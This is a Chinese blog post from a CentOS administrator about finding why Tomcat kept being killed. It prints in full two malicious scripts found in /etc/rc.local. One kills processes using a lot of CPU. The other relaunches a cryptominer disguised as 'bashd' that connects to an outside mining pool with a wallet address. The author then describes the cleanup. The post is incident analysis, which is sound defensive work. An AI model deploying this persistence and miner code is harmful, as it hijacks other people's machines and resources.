centos，启动tomcat无缘无故启动被中断，kill掉

Posted 2020-10-08

最近启动tomcat，还在启动过程中无缘无故tomcat进程就消失了，怎么找都找不到原因，tomcat日志和系统日志都没有任何显示，问了牛人后说被kill掉是不会有任何日志的，初步怀疑是中毒了。最后百度了一下，说病毒通常都会随系统的启动而启动，运行crontab -l没有发现，最后在/etc/rc.local发现启动了两个奇怪的脚本,/boot/efi/killer.sh和/boot/efi/daemon.sh，

killer.sh如下：

#!/bin/bash
#
killer.sh 
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin
while true;
do
ps axf -o "pid %cpu command" |grep -v bashd| awk ‘{if($2>=80.0) print $1}‘ | while read procid
do
kill -9 $procid
done
sleep 3
done

killer.sh会kill掉cpu使用率超过80%的进程,tomcat启动过程极大可能超过80%而被kill掉

daemon.sh如下：

#!/bin/bash
#
daemon.sh 
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin
while true; 
do
server=`ps aux | grep bashd | grep -v grep`
if [ ! "$server" ]; then
\cp -rf /boot/grub/
grub.tz 
 /usr/sbin/bashd
chmod +x /usr/sbin/bashd
nohup bashd -a cryptonight -o stratum+tcp://
get.bi-chi.com:3333 
 -u 47EAoaBc5TWDZKVaAYvQ7Y4ZfoJMFathAR882gabJ43wHEfxEp81vfJ3J3j6FQGJxJNQTAwvmJYS2Ei8dbkKcwfPFst8FhG -p x &
fi
sleep 15
done

查找了get.bi-chi.com:3333这个域名，似乎跟挖矿有关。。。

最后处理方法是删除了这两个文件，然后查找这两个脚本的进程，kill掉，问题似乎解决了。

先凑合着这么解决了，等过几天再把系统重装了，奇怪的事，防火墙平时都是开启的，不知道什么时候就被人攻陷了。

本文出自 “逆水行舟，不进则退” 博客，请务必保留此出处http://yahveh.blog.51cto.com/10011148/1967862